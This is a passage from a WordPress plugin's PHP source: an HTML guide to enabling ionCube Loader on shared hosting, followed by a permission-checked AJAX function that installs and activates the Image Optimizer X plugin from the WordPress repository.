                <li>Repeat the steps from Step 2: Create a new <code>info.php</code> file in the <strong>public_html</strong> folder with the same code (<code>&lt;?php phpinfo(); ?&gt;</code>).</li>
                <li>Go to <code>yourdomain.com/info.php</code> in your browser again.</li>
                <li>Look for the <strong>ionCube Loader</strong> section. You should now see it listed with a version number. Make sure the version is 10 or higher.</li>
                <li>Delete the <code>info.php</code> file from File Manager after checking.</li>
            </ol>
            <div class="ui warning message">
                <p><strong>Tip:</strong> If the version is still lower than 10, your hosting provider might be using an older version of IonCube Loader. You’ll need to contact them to update it (see Step 5).</p>
            </div>
        </div>

        <!-- Step 5: Contact Your Hosting Provider -->
        <div class="step">
            <div class="step-number">Step 5</div>
            <h2 class="ui header">Contact Your Hosting Provider (If Needed)</h2>
            <p>If you couldn’t enable IonCube Loader in Step 3, or the version is lower than 10, you’ll need to ask your hosting provider for help.</p>
            <ol class="ui list">
                <li>Go to your hosting provider’s website and find their support page. Look for options like "Live Chat," "Support Ticket," or "Contact Us."</li>
                <li>Send them a message like this:
                    <pre class="ui segment">
Hi, I need IonCube Loader version 10 or higher for a plugin on my website. I tried enabling it in cPanel, but I couldn’t find the option, or the version is too old. Can you please enable or update IonCube Loader for me? My domain is [yourdomain.com]. Thank you!
                    </pre>
                </li>
                <li>Wait for their reply. Most hosting providers can enable or update IonCube Loader for you since you don’t have root access.</li>
            </ol>
            <div class="ui info message">
                <p><strong>Note:</strong> IonCube Loader is free to install, so your hosting provider shouldn’t charge you for this. If they ask for payment, you might want to look for a different hosting provider.</p>
            </div>
        </div>

        <!-- Conclusion -->
        <div class="ui segment">
            <h2 class="ui header">All Done!</h2>
            <p>Once IonCube Loader version 10 or higher is enabled, your plugin should work perfectly. If you still have issues, double-check the plugin’s requirements or contact the plugin’s support team for help.</p>
            <div class="ui positive message">
                <p><strong>Congratulations!</strong> You’ve successfully enabled IonCube Loader on your shared hosting server.</p>
            </div>
        </div>



	<?php
}




// Handle Image Optimizer installation via AJAX
function plggcwvf_install_image_optimizer() {
    // Clear output buffer
    if (ob_get_length()) ob_clean();

    // Verify nonce
    if (!check_ajax_referer('plggcwvf_nonce', 'nonce', false)) {
        wp_send_json_error(['message' => 'Security check failed']);
        exit;
    }

    // Check user session
    if (!is_user_logged_in()) {
        wp_send_json_error(['message' => 'User session expired']);
        exit;
    }

    // Check permissions
    if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) {
        wp_send_json_error(['message' => 'Permission denied']);
        exit;
    }

    // Include WP files
    require_once ABSPATH . 'wp-admin/includes/plugin.php';
    require_once ABSPATH . 'wp-admin/includes/file.php';
    require_once ABSPATH . 'wp-admin/includes/misc.php';
    require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

    // Initialize WP_Filesystem
    if (!function_exists('WP_Filesystem')) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    global $wp_filesystem;
    if (!$wp_filesystem) {
        WP_Filesystem();
    }

    // Plugin details
    $plugin_slug = 'image-optimizer-x';
    $plugin_file = $plugin_slug . '/image-optimizer-x.php';
    $plugin_dir = WP_PLUGIN_DIR . '/' . $plugin_slug;

    // Check if plugin is active
    if (is_plugin_active($plugin_file)) {
        wp_send_json_success(['redirect' => admin_url('options-general.php?page=image-optimizer-x')]);
        exit;
    }

    // Check plugins directory
    $plugins_dir = WP_PLUGIN_DIR;
    if (!is_writable($plugins_dir)) {
        wp_send_json_error(['message' => 'Plugins directory not writable']);
        exit;
    }

    // Remove existing plugin directory if it exists
    if ($wp_filesystem->is_dir($plugin_dir)) {
        error_log('PLGGCWVF: Removing existing Image Optimizer X directory');
        $delete_result = $wp_filesystem->delete($plugin_dir, true);
        if (!$delete_result) {
            error_log('PLGGCWVF: Failed to remove existing Image Optimizer X directory');
            wp_send_json_error(['message' => 'Failed to remove existing plugin directory']);
            exit;
        }
        error_log('PLGGCWVF: Existing Image Optimizer X directory removed successfully');
    }

    // Get plugin info
    $api = plugins_api('plugin_information', [
        'slug' => $plugin_slug,
        'fields' => ['sections' => false],
    ]);

    if (is_wp_error($api)) {
        wp_send_json_error(['message' => 'Plugin not found in WP repository']);
        exit;
    }

    // Install plugin
    $upgrader = new Plugin_Upgrader(new Automatic_Upgrader_Skin());
    $install_result = $upgrader->install($api->download_link);

    if (is_wp_error($install_result)) {
        wp_send_json_error(['message' => 'Installation failed: ' . $install_result->get_error_message()]);
        exit;
    }

    if ($install_result !== true) {
        wp_send_json_error(['message' => 'Installation failed']);
        exit;
    }

    // Verify installation
    $plugin_full_path = WP_PLUGIN_DIR . '/' . $plugin_file;
    if (!file_exists($plugin_full_path)) {
        wp_send_json_error(['message' => 'Plugin file not found after installation']);
        exit;
    }

    // Activate plugin
    $activate = activate_plugin($plugin_file);
    if (is_wp_error($activate)) {
        wp_send_json_error(['message' => 'Activation failed: ' . $activate->get_error_message()]);
        exit;
    }

    wp_send_json_success(['redirect' => admin_url('options-general.php?page=image-optimizer-x')]);
    exit;
}